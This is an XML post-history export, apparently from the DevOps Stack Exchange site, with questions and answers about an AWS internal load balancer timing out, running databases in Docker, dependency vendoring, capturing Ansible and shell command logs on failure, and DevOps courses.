  <row Id="4265" PostHistoryTypeId="2" PostId="1298" RevisionGUID="1b0991a9-c056-4a34-8ce5-352dca9e2c3a" CreationDate="2017-06-05T17:24:20.083" UserId="3039" Text="thanks for taking the time to help me with this. I've lost count of how many days I've spent banging my head against this problem and I'm stuck at a dead end.&#xD;&#xA;&#xD;&#xA;**Some background:** &#xD;&#xA;&#xD;&#xA;I've created a moderately complex network using Amazon's vpc. It's a three-tiered network, split into two availability zones. Thats two subnets per zone: a presentation layer, an application layer, and a core layer. I originally had everything locked down well, with appropriate ACL rules and security groups, but in the process of debugging this issue I've completely opened everything. All of the security groups and ACL's are currently allowing ALL inbound and outbound traffic. I have the route table for the presentation layer and NAT drive routing all traffic through an internet gateway. I have both the presentation and core layers routing all traffic through the nat drive.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My application has two components, a UI (React.js) and an API (Node/Express). They are deployed as docker images. In front of each is a load balancer. The UI-ELB is internet facing and resides in the presentation layer, routing traffic from 80/443 to port 8080 and is associated with my app-ec2 that is placed in the application-layer subnet. My API has an internal load balancer in front of it. The API-ELB is in the application layer, and takes traffic on port 80/443 and routes it down to the API in the core on port 3000. Both load balancers encrypt https with a certificate created with aws certifacte manager.&#xD;&#xA;&#xD;&#xA;Hopefully to maybe prevent some wasted time: I have successfully deployed simple wordpress sites and a jenkins instance, into this network without any issues. However, they only reach as far down as the application layer.&#xD;&#xA;&#xD;&#xA;I have both my load balancers associated as alias's in Route53, and referenced in the applications by their pretty url. Each load balancer passes the defined healthchecks and reports all ec2 instances in use.&#xD;&#xA;&#xD;&#xA;Lastly, on the API I have enabled cors using the cors nodejs package.&#xD;&#xA;&#xD;&#xA;**The problem:**&#xD;&#xA;&#xD;&#xA;The application-UI is timing out on the options request when making an api call. Error code 408.&#xD;&#xA;&#xD;&#xA;**Where it gets weird**&#xD;&#xA;&#xD;&#xA;In my efforts to figure out why this won't work, I've tried a so many things, and some of the weirdest cases I've encountered are:&#xD;&#xA;&#xD;&#xA; 1. I can SSH into the app-ec2 instance and run a curl command against the API-ELB and it will return whatever request I want. Typically I curl against the healthcheck url and receive that my api is passing all database checks, and is the latest version.&#xD;&#xA; 2. I've moved my entire application ecosystem out of my network into a public default vpc and everything works as it's supposed to... Even though I've since opened ALL TRAFFIC in my network with no success.&#xD;&#xA;&#xD;&#xA;Really the biggest thing that has me at a complete loss is that curling the internal api elb works, but the axios request to the same exact url does not. This doesn't make sense to me at all.&#xD;&#xA;&#xD;&#xA;**What I've tried**&#xD;&#xA;&#xD;&#xA;I originally spent a lot of time playing with ACL rules and security groups thinking I did something wrong. Eventually I just said, &quot;screw it&quot;, and opened everything up to try and take that piece out of the equation.&#xD;&#xA;&#xD;&#xA;I've spent way to much time playing with Cors on my api. Eventually landing on the configuration I have now, that is the default `app.use(cors())` callback provided by the cors node package. I've also included the `app.options('*', cors())` that is recommended in the documentation.&#xD;&#xA;&#xD;&#xA;I've google everything under the sun, but specifically whether I need to define some special custom headers with the elbs? But can't seem to find anything. Plus, when I moved my app out of the network it worked just fine.&#xD;&#xA;&#xD;&#xA;I'm sure I've tried many other things, but these seem to be the most pertinent. What am I missing? I realize this is potentially a very vague and broad issue, and an enormous post, but I appreciate any insight and your time in reading in it!" ContentLicense="CC BY-SA 3.0" />
  <row Id="4266" PostHistoryTypeId="1" PostId="1298" RevisionGUID="1b0991a9-c056-4a34-8ce5-352dca9e2c3a" CreationDate="2017-06-05T17:24:20.083" UserId="3039" Text="Application calling aws internal load balancer in same subnet is timing out" ContentLicense="CC BY-SA 3.0" />
  <row Id="4267" PostHistoryTypeId="3" PostId="1298" RevisionGUID="1b0991a9-c056-4a34-8ce5-352dca9e2c3a" CreationDate="2017-06-05T17:24:20.083" UserId="3039" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;software-engineering&gt;&lt;infrastructure&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4268" PostHistoryTypeId="5" PostId="1298" RevisionGUID="bcf2f2b3-ad8e-42ba-a47f-eab19597cace" CreationDate="2017-06-05T17:36:26.333" UserId="3039" Comment="grammar" Text="Thanks for taking the time to help me with this. I've lost count of how many days I've spent banging my head against this problem and I'm stuck at a dead end.&#xD;&#xA;&#xD;&#xA;**Some background:** &#xD;&#xA;&#xD;&#xA;I've created a moderately complex network using Amazon's vpc. It's a three-tiered network, split into two availability zones. Thats two subnets per zone: a presentation layer, an application layer, and a core layer. I originally had everything locked down well, with appropriate ACL rules and security groups, but in the process of debugging this issue I've completely opened everything. All of the security groups and ACL's are currently allowing ALL inbound and outbound traffic. I have the route table for the presentation layer and NAT drive routing all traffic through an internet gateway. I have both the presentation and core layers routing all traffic through the nat drive.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My application has two components, a UI (React.js) and an API (Node/Express). They are deployed as docker images. In front of each is a load balancer. The UI-ELB is internet facing and resides in the presentation layer, routing traffic from 80/443 to port 8080 and is associated with my app-ec2 that is placed in the application-layer subnet. My API has an internal load balancer in front of it. The API-ELB is in the application layer, and takes traffic on port 80/443 and routes it down to the API in the core on port 3000. Both load balancers encrypt https with a certificate created with aws certifacte manager.&#xD;&#xA;&#xD;&#xA;Hopefully to maybe prevent some wasted time: I have successfully deployed simple wordpress sites and a jenkins instance, into this network without any issues. However, they only reach as far down as the application layer.&#xD;&#xA;&#xD;&#xA;I have both my load balancers associated as alias's in Route53, and referenced in the applications by their pretty url. Each load balancer passes the defined healthchecks and reports all ec2 instances in use.&#xD;&#xA;&#xD;&#xA;Lastly, on the API I have enabled cors using the cors nodejs package.&#xD;&#xA;&#xD;&#xA;**The problem:**&#xD;&#xA;&#xD;&#xA;The application-UI is timing out on the options request when making an api call. Error code 408.&#xD;&#xA;&#xD;&#xA;**Where it gets weird**&#xD;&#xA;&#xD;&#xA;In my efforts to figure out why this won't work, I've tried a so many things, and some of the weirdest cases I've encountered are:&#xD;&#xA;&#xD;&#xA; 1. I can SSH into the app-ec2 instance and run a curl command against the API-ELB and it will return whatever request I want. Typically I curl against the healthcheck url and receive that my api is passing all database checks, and is the latest version.&#xD;&#xA; 2. I've moved my entire application ecosystem out of my network into a public default vpc and everything works as it's supposed to... Even though I've since opened ALL TRAFFIC in my network with no success.&#xD;&#xA;&#xD;&#xA;Really the biggest thing that has me at a complete loss is that curling the internal api elb works, but the axios request to the same exact url does not. This doesn't make sense to me at all.&#xD;&#xA;&#xD;&#xA;**What I've tried**&#xD;&#xA;&#xD;&#xA;I originally spent a lot of time playing with ACL rules and security groups thinking I did something wrong. Eventually I just said, &quot;screw it&quot;, and opened everything up to try and take that piece out of the equation.&#xD;&#xA;&#xD;&#xA;I've spent way to much time playing with Cors on my api. Eventually landing on the configuration I have now, that is the default `app.use(cors())` callback provided by the cors node package. I've also included the `app.options('*', cors())` that is recommended in the documentation.&#xD;&#xA;&#xD;&#xA;I've google everything under the sun, but specifically whether I need to define some special custom headers with the elbs? But can't seem to find anything. Plus, when I moved my app out of the network it worked just fine.&#xD;&#xA;&#xD;&#xA;I'm sure I've tried many other things, but these seem to be the most pertinent. What am I missing? I realize this is potentially a very vague and broad issue, and an enormous post, but I appreciate any insight and your time in reading in it!" ContentLicense="CC BY-SA 3.0" />
  <row Id="4269" PostHistoryTypeId="2" PostId="1299" RevisionGUID="e7c1be2a-01c1-43d3-af6a-de8740b83169" CreationDate="2017-06-05T18:48:37.630" UserId="2845" Text="This sounds like an asymmetric or n-path routing issue. Here is what is probably happening:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Machine A at IP address 192.168.1.1 makes initiates a [SYN] request through the LB at 192.168.1.10. the LB then forwards to the request to Machine B at 192.168.1.2, so the packet now has source: 192.168.1.1 and has has destination: 192.168.1.2 (which used to be 192.168.1.10).&#xD;&#xA;&#xD;&#xA;So what happens now when 192.168.1.2 responds with a [SYN, ACK]? What *should* happen is that Machine B should respond to Machine A *through the load balancer* - typically because of a default route or gateway that routes traffic through the LB. In this case however, the machine is on the same subnet, so the route/gateway is not used. This means that the [SYN,ACK] appears to come from an IP different than the IP that Machine A initiated the request with - it was expecting a source IP of 192.168.1.10 but is seeing the [SYN,ACK] coming from 192.168.1.2 and thus refuses to create a connection.&#xD;&#xA;&#xD;&#xA;The reason this works for external traffic is because of your default route - the reponses to everyone else are routed through the ELB. The ELB sees that it was initiating a connection and automagically intercepts the response and swaps the source of 192.168.1.2 back to 192.168.1.10.&#xD;&#xA;&#xD;&#xA;So, to solve the issue, you need to implement [one-armed load balancing](http://networkgeekstuff.com/networking/basic-load-balancer-scenarios-explained/) (also known as a load balancer on a stick). What this will do is use a Source NAT on the inside interface of the load balancer  (so assume you had outside interface 192.168.1.10 on your load balancer and 192.168.1.11 on the inside interface). This will make all traffic appear to be coming from 192.168.1.11 from the perspective of Machine B which should solve your connection issue.&#xD;&#xA;&#xD;&#xA;It appears however, that your [AWS ELB doesn't support SNAT](https://forums.aws.amazon.com/thread.jspa?messageID=331340#331340), so you will either need to put your hosts and ELB on different subnets or use something that supports SNATs like F5's Virtual Edition which comes in [hourly](https://aws.amazon.com/marketplace/pp/B00JL3UCQ4) or [BYOL](https://aws.amazon.com/marketplace/pp/B00KXHNAPW) flavors. Beware connection limitations with SNATing though - if you need over about 30k simultaneous connections you will run into [SNAT port exhaustion and need to start using a SNAT pool.](https://support.f5.com/csp/article/K8246).&#xD;&#xA;&#xD;&#xA;The best way to confirm would be to use [tcpdump](https://danielmiessler.com/study/tcpdump/) on the connecting host and look for responses coming directly from the back-end server. You can then load your dump file into WireShark.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4270" PostHistoryTypeId="4" PostId="1275" RevisionGUID="f2bc0cbd-7ce9-4586-846f-54f56af2934a" CreationDate="2017-06-05T18:48:50.060" UserId="210" Comment="edited title" Text="Is there an ansible module that check whether a port is not in LISTEN state?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4271" PostHistoryTypeId="2" PostId="1300" RevisionGUID="ecd860a3-17d4-4b05-9400-070b91e19e8e" CreationDate="2017-06-05T19:57:01.113" UserId="677" Text="When you say that the data is mounted into a docker container, would it not be more correct to say that the &quot;database&quot; is mounted into the docker container? If your are persisting your data outside the container then you are doing the &quot;correct&quot; thing of not putting your database in a container.&#xA;&#xA;Sure, go to town putting a DBMS in a container a letting it manage data that you store outside, personally I think that's just good design because it keeps a clean separation between logic and data. But once you put your data into a container them you're potentially playing with fire.&#xA;&#xA;Although container storage drivers have come a long way, I'm personally not yet willing to dive in and leave my data tangled up in a container." ContentLicense="CC BY-SA 3.0" />
  <row Id="4272" PostHistoryTypeId="2" PostId="1301" RevisionGUID="0647a470-a5d4-400a-a02b-26e0f4a2f7f8" CreationDate="2017-06-05T20:04:34.903" UserId="677" Text="I don't see the relation between packer and ansible/chef/puppet the way you do. Packer might give you a means to declare that you are building an image but if you aren't going to use something like ansible/chef/etc to load up the stuff you want in that image then how do you propose to get the stuff into the image?&#xA;&#xA;Usually the default answer to this would be &quot;well we would script it&quot; but she'll scripts are just the glue that can stick *anything* together, they aren't designed specifically to handle infrastructure and configuration.&#xA;&#xA;I've been working for a little while on a project where we have made the concious decision to try and write no shell scripts, at all, even where it's a little less convenient we write everything in a clearly defined, preferably declarative, language that someone else is maintaining standards for (ie. We don't need to make sure that ansible can do the things we need it to do, we let the developers do that, as opposed to scripting everything and needing to write all the detailed actions outselves).&#xA;&#xA;If you consider your configuration management tools as just a nice way to declare what is actually in he base image then your off to a pretty good start if you want developers to trust the image their code will be running on." ContentLicense="CC BY-SA 3.0" />
  <row Id="4273" PostHistoryTypeId="5" PostId="1298" RevisionGUID="448a86f1-ac33-460d-ae92-9fa5872587fa" CreationDate="2017-06-05T20:54:51.293" UserId="3039" Comment="clarified various aspects of the question" Text="Thanks for taking the time to help me with this. I've lost count of how many days I've spent banging my head against this problem and I'm stuck at a dead end.&#xD;&#xA; &#xD;&#xA;**Some background:** &#xD;&#xA; &#xD;&#xA;I've created a moderately complex network using Amazon's vpc. It's a three-tiered network across two availability zones. Each layer has a subnet in zone-a and zone-b. The presentation layer is at the top, there’s an application layer in the middle, and a core layer at the bottom.&#xD;&#xA; &#xD;&#xA;All of the security groups and ACL's for the subnets are currently allowing ALL inbound and outbound traffic to help me reduce surface area of the issue. &#xD;&#xA; &#xD;&#xA;The presentation layer’s routing table is pointing all traffic to an internet gateway. The NAT gateway is in a segregated subnet also pointing all traffic to the internet gateway.&#xD;&#xA; &#xD;&#xA;My application has two components, a UI (React.js) and an API (Node/Express). They are deployed as docker images. In front of each is a classic load balancer. &#xD;&#xA; &#xD;&#xA;The UI-ELB is internet facing and resides in the presentation layer, routing traffic from 80/443 to port 8080 and is associated with my app-ec2 that is placed in the application-layer subnet. &#xD;&#xA; &#xD;&#xA;My API has an internal load balancer in front of it. The API-ELB is in the application layer (in the same subnet as the app-ec2), and takes traffic on port 80/443 and routes it down to the api-ec2 in the core on port 3000.&#xD;&#xA; &#xD;&#xA;Both load balancers are offloading the certificate before passing traffic to their instances.&#xD;&#xA; &#xD;&#xA;I have both my load balancers associated as alias's in Route53, and referenced in the applications by their pretty url (https://app.website.com). Each load balancer passes the defined healthchecks and reports all ec2 instances in use.&#xD;&#xA; &#xD;&#xA;Lastly, on the API I have enabled cors using the cors nodejs package.&#xD;&#xA; &#xD;&#xA;**The problem:**&#xD;&#xA; &#xD;&#xA;The APP-ELB successfully routes me to the application. However, when the app tries to send a GET request to the API-ELB, it first sends an OPTIONS request that tims out with the error code 408.&#xD;&#xA; &#xD;&#xA;**Where it gets weird**&#xD;&#xA; &#xD;&#xA;Some of the weirdest things I've encountered while debugging are:&#xD;&#xA; &#xD;&#xA; 1. I can SSH into the app-ec2 instance and can run a successful curl against the API-ELB. I’ve tried many, and they all work. A few examples are: `curl -L https://api.website.com/system/healthcheck` and `curl -L -X OPTIONS https://api.website.com/system/healthcheck`. It always returns the desired information.&#xD;&#xA; 2. I've moved the entire application out of my network into a public default vpc and it works as it's supposed to.&#xD;&#xA; &#xD;&#xA;Really the biggest thing that has me at a complete loss is that curling the internal api elb works, but the axios request to the same exact url does not. This doesn't make sense to me at all.&#xD;&#xA; &#xD;&#xA;**What I've tried**&#xD;&#xA; &#xD;&#xA;I originally spent a lot of time playing with ACL rules and security groups thinking I did something wrong. Eventually I just said, &quot;screw it&quot;, and opened everything up to try and take that piece out of the equation.&#xD;&#xA; &#xD;&#xA;I've spent way to much time playing with Cors on my api. Eventually landing on the configuration I have now, that is the default `app.use(cors())` callback provided by the cors node package. I've also included the `app.options('*', cors())` that is recommended in the documentation.&#xD;&#xA; &#xD;&#xA;I've google everything under the sun, but specifically whether I need to define some special custom headers with the elbs? But can't seem to find anything. Plus, when I moved my app out of the network it worked just fine.&#xD;&#xA; &#xD;&#xA;I'm sure I've tried many other things, but these seem to be the most pertinent. What am I missing? I realize this is potentially a very vague and broad issue, and an enormous post, but I appreciate any insight and your time in reading in it!&#xD;&#xA; &#xD;&#xA;*edit: lots of clarification* " ContentLicense="CC BY-SA 3.0" />
  <row Id="4275" PostHistoryTypeId="6" PostId="61" RevisionGUID="3b284ed6-28cb-4cd5-b6fc-0e8810442c1c" CreationDate="2017-06-06T05:55:28.710" UserId="739" Comment="add terminology tag" Text="&lt;terminology&gt;&lt;serverless&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4276" PostHistoryTypeId="24" PostId="61" RevisionGUID="3b284ed6-28cb-4cd5-b6fc-0e8810442c1c" CreationDate="2017-06-06T05:55:28.710" Comment="Proposed by 739 approved by 47, 40 edit id of 359" ContentLicense="CC BY-SA 3.0" />
  <row Id="4277" PostHistoryTypeId="5" PostId="1292" RevisionGUID="3f4af8b3-0c8e-4424-89e9-a16ec58ee8f6" CreationDate="2017-06-06T08:01:30.227" UserId="44" Comment="added 246 characters in body" Text="Vendoring is the concept of downloading/installing a specific version of dependencies and making it available elsewhere (typically, within a local repo/folder of your supporting application)&#xD;&#xA;&#xD;&#xA;Vendoring is usually done to prevent breakage occurring when dependences are no longer available. Vendoring also prevents your applications from breaking when dependencies are no longer available( for ex: the [leftpad incident][1])&#xD;&#xA;&#xD;&#xA;For example, let's consider you have your Chef cookbook that depends on another third party cookbook, say mysql2 chef gem. Now while mentioning in your `metadata.rb`, you didn't pin the version or vendor the cookbook. Lets consider the cookbook has had a version upgrade, breaking all previous APIs. The previous versions have also been taken down. In such a case, your cookbooks are suddenly broken as well and if you have a urgent deploy, your Chef run will fail.&#xD;&#xA;&#xD;&#xA;Vendoring prevents this by making available the dependency on your local chef server, so even if the dependency has gone ahead, you can continue referring to the previous version and your cookbook will not break&#xD;&#xA;&#xD;&#xA;(Also goes without saying, you must keep updating the dependencies and cookbooks, else you might get bit with some bad bugs)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.reddit.com/r/programming/comments/4bjss2/an_11_line_npm_package_called_leftpad_with_only/" ContentLicense="CC BY-SA 3.0" />
  <row Id="4278" PostHistoryTypeId="5" PostId="1291" RevisionGUID="2dfb54fa-1166-4255-8abb-5a1298f9afc1" CreationDate="2017-06-06T08:07:34.320" UserId="44" Comment="minor grammar fixes" Text="In various tools there is the concept of &quot;vendoring&quot;. i.e. Ruby's bundle, and Chef's Berkshelf.&#xD;&#xA;&#xD;&#xA;&quot;vendor&quot; is not a verb and in documentation it's often assumed that I know what it means. Can someone help shed some light on what it is and the benefits of doing it." ContentLicense="CC BY-SA 3.0" />
  <row Id="4279" PostHistoryTypeId="24" PostId="1291" RevisionGUID="2dfb54fa-1166-4255-8abb-5a1298f9afc1" CreationDate="2017-06-06T08:07:34.320" Comment="Proposed by 44 approved by 40, 13 edit id of 361" ContentLicense="CC BY-SA 3.0" />
  <row Id="4281" PostHistoryTypeId="5" PostId="1298" RevisionGUID="a7f41a85-8725-4148-bb9c-d2d51500bfb1" CreationDate="2017-06-06T09:22:27.813" UserId="739" Comment="capitalization in title and formatting in body" Text="Thanks for taking the time to help me with this. I've lost count of how many days I've spent banging my head against this problem and I'm stuck at a dead end.&#xD;&#xA; &#xD;&#xA;## Some background: &#xD;&#xA; &#xD;&#xA;I've created a moderately complex network using Amazon's vpc. It's a three-tiered network across two availability zones. Each layer has a subnet in zone-a and zone-b. The presentation layer is at the top, there’s an application layer in the middle, and a core layer at the bottom.&#xD;&#xA; &#xD;&#xA;All of the security groups and ACL's for the subnets are currently allowing ALL inbound and outbound traffic to help me reduce surface area of the issue. &#xD;&#xA; &#xD;&#xA;The presentation layer’s routing table is pointing all traffic to an internet gateway. The NAT gateway is in a segregated subnet also pointing all traffic to the internet gateway.&#xD;&#xA; &#xD;&#xA;My application has two components, a UI (React.js) and an API (Node/Express). They are deployed as docker images. In front of each is a classic load balancer. &#xD;&#xA; &#xD;&#xA;The UI-ELB is internet facing and resides in the presentation layer, routing traffic from 80/443 to port 8080 and is associated with my app-ec2 that is placed in the application-layer subnet. &#xD;&#xA; &#xD;&#xA;My API has an internal load balancer in front of it. The API-ELB is in the application layer (in the same subnet as the app-ec2), and takes traffic on port 80/443 and routes it down to the api-ec2 in the core on port 3000.&#xD;&#xA; &#xD;&#xA;Both load balancers are offloading the certificate before passing traffic to their instances.&#xD;&#xA; &#xD;&#xA;I have both my load balancers associated as alias's in Route53, and referenced in the applications by their pretty url (https://app.website.com). Each load balancer passes the defined healthchecks and reports all ec2 instances in use.&#xD;&#xA; &#xD;&#xA;Lastly, on the API I have enabled cors using the cors nodejs package.&#xD;&#xA; &#xD;&#xA;## The problem:&#xD;&#xA; &#xD;&#xA;The APP-ELB successfully routes me to the application. However, when the app tries to send a GET request to the API-ELB, it first sends an OPTIONS request that tims out with the error code 408.&#xD;&#xA; &#xD;&#xA;**Where it gets weird**&#xD;&#xA; &#xD;&#xA;Some of the weirdest things I've encountered while debugging are:&#xD;&#xA; &#xD;&#xA; 1. I can SSH into the app-ec2 instance and can run a successful curl against the API-ELB. I’ve tried many, and they all work. A few examples are: `curl -L https://api.website.com/system/healthcheck` and `curl -L -X OPTIONS https://api.website.com/system/healthcheck`. It always returns the desired information.&#xD;&#xA; 2. I've moved the entire application out of my network into a public default vpc and it works as it's supposed to.&#xD;&#xA; &#xD;&#xA;Really the biggest thing that has me at a complete loss is that curling the internal api elb works, but the axios request to the same exact url does not. This doesn't make sense to me at all.&#xD;&#xA; &#xD;&#xA;## What I've tried&#xD;&#xA; &#xD;&#xA;I originally spent a lot of time playing with ACL rules and security groups thinking I did something wrong. Eventually I just said, &quot;screw it&quot;, and opened everything up to try and take that piece out of the equation.&#xD;&#xA; &#xD;&#xA;I've spent way to much time playing with Cors on my api. Eventually landing on the configuration I have now, that is the default `app.use(cors())` callback provided by the cors node package. I've also included the `app.options('*', cors())` that is recommended in the documentation.&#xD;&#xA; &#xD;&#xA;I've google everything under the sun, but specifically whether I need to define some special custom headers with the elbs? But can't seem to find anything. Plus, when I moved my app out of the network it worked just fine.&#xD;&#xA; &#xD;&#xA;I'm sure I've tried many other things, but these seem to be the most pertinent. What am I missing? I realize this is potentially a very vague and broad issue, and an enormous post, but I appreciate any insight and your time in reading in it!&#xD;&#xA; &#xD;&#xA;*edit: lots of clarification* " ContentLicense="CC BY-SA 3.0" />
  <row Id="4282" PostHistoryTypeId="4" PostId="1298" RevisionGUID="a7f41a85-8725-4148-bb9c-d2d51500bfb1" CreationDate="2017-06-06T09:22:27.813" UserId="739" Comment="capitalization in title and formatting in body" Text="Application calling AWS internal load balancer in same subnet is timing out" ContentLicense="CC BY-SA 3.0" />
  <row Id="4283" PostHistoryTypeId="24" PostId="1298" RevisionGUID="a7f41a85-8725-4148-bb9c-d2d51500bfb1" CreationDate="2017-06-06T09:22:27.813" Comment="Proposed by 739 approved by 47, 13 edit id of 360" ContentLicense="CC BY-SA 3.0" />
  <row Id="4284" PostHistoryTypeId="2" PostId="1303" RevisionGUID="6a860391-8af9-430f-b26d-2484055061a3" CreationDate="2017-06-06T09:54:26.790" UserId="446" Text="I [wrote about this in depth][1] but here's the summary:&#xA;&#xA;- Preventing split brain (electing more than one master node) needs to be solved. Failure to do so can be catastrophic&#xA;&#xA;- There are no production ready shared storage solutions to enable databases to be shutdown on one instance and brought up on another without loosing all your data.&#xA;&#xA;&#xA;  [1]: http://patrobinson.github.io/2016/11/07/thou-shalt-not-run-a-database-inside-a-container/" ContentLicense="CC BY-SA 3.0" />
  <row Id="4285" PostHistoryTypeId="2" PostId="1304" RevisionGUID="85bd7625-af49-4d04-818b-5d4ead81524c" CreationDate="2017-06-06T10:29:14.870" UserId="46" Text="[Converting my comment to an answer]&#xD;&#xA;&#xD;&#xA;One way to do it would be to write the logs to some external file, and then having a task after it which makes use of failed_when condition, and remove the log file, if the previous task was successful.&#xD;&#xA;&#xD;&#xA;Something like this should help you.&#xD;&#xA;&#xD;&#xA;     - name: Run Py script&#xD;&#xA;          command: &lt;&gt;.py  &gt; &lt;&gt;.log&#xD;&#xA;          become: yes&#xD;&#xA;          become_user: root&#xD;&#xA;          register: PyScript&#xD;&#xA;          ignore_errors: True&#xD;&#xA;    &#xD;&#xA;        - name: PyScript on success&#xD;&#xA;          command: rm &lt;&gt;.log&#xD;&#xA;          when: PyScript|succeeded&#xD;&#xA;&#xD;&#xA;Note: This might not be the best way to handle your problem. But, this was a hack which helped me do my logging and monitoring." ContentLicense="CC BY-SA 3.0" />
  <row Id="4286" PostHistoryTypeId="5" PostId="1304" RevisionGUID="331f7cea-2492-4274-bc52-17bc73c419c4" CreationDate="2017-06-06T10:36:39.897" UserId="46" Comment="deleted 29 characters in body" Text="[Converting my comment to an answer]&#xD;&#xA;&#xD;&#xA;One way to do it would be to write the logs to some external file, and then having a task after it which makes use of failed_when condition, and remove the log file, if the previous task was successful.&#xD;&#xA;&#xD;&#xA;Something like this should help you.&#xD;&#xA;&#xD;&#xA;     - name: Run Py script&#xD;&#xA;          command: &lt;&gt;.py  &gt; &lt;&gt;.log&#xD;&#xA;          become: yes&#xD;&#xA;          register: PyScript&#xD;&#xA;          ignore_errors: True&#xD;&#xA;    &#xD;&#xA;        - name: PyScript on success&#xD;&#xA;          command: rm &lt;&gt;.log&#xD;&#xA;          when: PyScript|succeeded&#xD;&#xA;&#xD;&#xA;Note: This might not be the best way to handle your problem. But, this was a hack which helped me do my logging and monitoring." ContentLicense="CC BY-SA 3.0" />
  <row Id="4287" PostHistoryTypeId="5" PostId="1293" RevisionGUID="b133eada-6f00-49b0-9762-e5eab9a38123" CreationDate="2017-06-06T10:53:35.217" UserId="465" Comment="clarified terminology" Text="I'm having a discussion with a friend about use cases for [Docker][1]. One guy in the team wants to use Docker for everything - like a kind of universal unix process wrapper. The other thinks that Docker should only be used for [stateless][2] applications like [Microservices][3] and [AWS Lambda][4] style apps. &#xD;&#xA;&#xD;&#xA;We've engineered proof of concepts for both. On our docker cluster we have a shared drive that gets mounted when the Docker host is mounted, and if a Database in a container is mounted, it simply mounts a volume to the shared drive. &#xD;&#xA;&#xD;&#xA;My friend still sticks to his position, despite being shown the contrary evidence. (He also argues that Docker adds unnecessary risk by adding [complexity][5] to the stack.)&#xD;&#xA;&#xD;&#xA;I'm trying to listen and understand his point of view, both in an act of empathy, but also to better reason with him. (We all get on quite well - so this is a mix of in-jest and serious discussion). &#xD;&#xA;&#xD;&#xA;Kind of the question behind the question is: are databases [cattle][6]? This [comment][7] suggests that a good automated backup and retrieval strategy for your database is indistinguishable from a cattle server. &#xD;&#xA;&#xD;&#xA;My question is: **What are the reasons Docker should not be used for databases?**&#xD;&#xA;&#xD;&#xA;**EDIT:** &#xD;&#xA;People have asked me to clarify my terminology. I was assuming that the database application was in the container, and the storage was in the volume. What I meant was, the RDBMS is in the container, and the database storage is in the volume. &#xD;&#xA;&#xD;&#xA;Some commentators have suggested that the docker volume drivers aren't going to work with database writes very well. (Or something to that effect). Could you please expand on that?&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Docker_(software)&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/State_(computer_science)#Program_state&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Microservices&#xD;&#xA;  [4]: https://en.wikipedia.org/wiki/AWS_Lambda&#xD;&#xA;  [5]: https://devops.stackexchange.com/questions/1205/is-there-evidence-to-suggest-that-the-docker-hashicorp-ecosystem-requires-a-high&#xD;&#xA;  [6]: https://devops.stackexchange.com/questions/653/what-is-the-definition-of-cattle-not-pets&#xD;&#xA;  [7]: https://devops.stackexchange.com/questions/1254/does-the-cattle-not-pets-distinction-apply-as-equally-to-machine-instances-as#comment2099_1254" ContentLicense="CC BY-SA 3.0" />
  <row Id="4288" PostHistoryTypeId="2" PostId="1305" RevisionGUID="4d970d95-cc4b-4c8b-8b67-c26e05881118" CreationDate="2017-06-06T13:26:30.840" UserId="3055" Text="I am a 'DevOps Engineer' based in the UK. I have 2.5/3 years experience in the IT field; starting out as an apprentice now a mid-level engineer learning/practicing Linux/Windows System Administration, Continuous Delivery (Jenkins), Continuous Integration/version control (Git, Visual Studio), AGILE/SCRUM methodology, configuration management (SaltStack), virtual machine technologies (AWS EC2, VMware etc) as well as S3 and BASH/PowerShell scripting.&#xD;&#xA;&#xD;&#xA;I haven't got any formal qualifications nor do I think it is *necessary* to excel in the field. However my manager has asked myself and my colleagues to find some courses and/or qualifications which will help us become fully-fledged DevOps Engineers and I think it'd be stupid not to do so!&#xD;&#xA;&#xD;&#xA;Could anyone recommend any useful courses/qualifications?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4289" PostHistoryTypeId="1" PostId="1305" RevisionGUID="4d970d95-cc4b-4c8b-8b67-c26e05881118" CreationDate="2017-06-06T13:26:30.840" UserId="3055" Text="What courses would be useful for a DevOps Engineer?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4290" PostHistoryTypeId="3" PostId="1305" RevisionGUID="4d970d95-cc4b-4c8b-8b67-c26e05881118" CreationDate="2017-06-06T13:26:30.840" UserId="3055" Text="&lt;continuous-integration&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4291" PostHistoryTypeId="2" PostId="1306" RevisionGUID="629f5c78-6e0a-47c1-8212-e27057016ad7" CreationDate="2017-06-06T13:43:16.667" UserId="775" Text="In my opinion you'll benefit the most if you choose the roadmap offered by RH. Review their courses (incl. DevOps) [here][1]&#xD;&#xA;&#xD;&#xA;I myself however would also like to hear opinions from other professionals.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.redhat.com/en/services/all-certifications-exams" ContentLicense="CC BY-SA 3.0" />
  <row Id="4292" PostHistoryTypeId="2" PostId="1307" RevisionGUID="44c7676d-d0ea-453c-9f51-d2511605424f" CreationDate="2017-06-06T14:25:58.197" UserId="13" Text="What I do when I've a command to execute and wish to get the log only in case of failure is as follow (prefixed by a shell comamnd like `/bin/sh -c '...'` in case the initiator doesn't use a `system` call or execute the command directly without shell):&#xD;&#xA;&#xD;&#xA;    command 2&amp;&gt;1 &gt; command-log.txt || cat command-log.txt&#xD;&#xA;&#xD;&#xA;This will redirect error and standard output to a file and display the content of the file in case of failure only. If the command is very verbose and you don't wish to keep the log when it's ok you can go with:&#xD;&#xA;&#xD;&#xA;    command 2&amp;&gt;1 &gt; command-log.txt &amp;&amp; rm command-log.txt || cat command-log.txt&#xD;&#xA;&#xD;&#xA;Quote for `&amp;&amp;` and `||` usage from [sh manpage](http://heirloom.sourceforge.net/sh/sh.1.html):&#xD;&#xA;&#xD;&#xA;&gt; The symbol &amp;&amp; (||) causes the list following to be executed only if&#xD;&#xA;&gt; the preceding pipeline returns a zero (non zero) value.&#xD;&#xA;&#xD;&#xA;That's probably not the most idiomatic way to do it with ansible but has the advantage of being very portable with any configuration management system giving the ability to display command stdout." ContentLicense="CC BY-SA 3.0" />
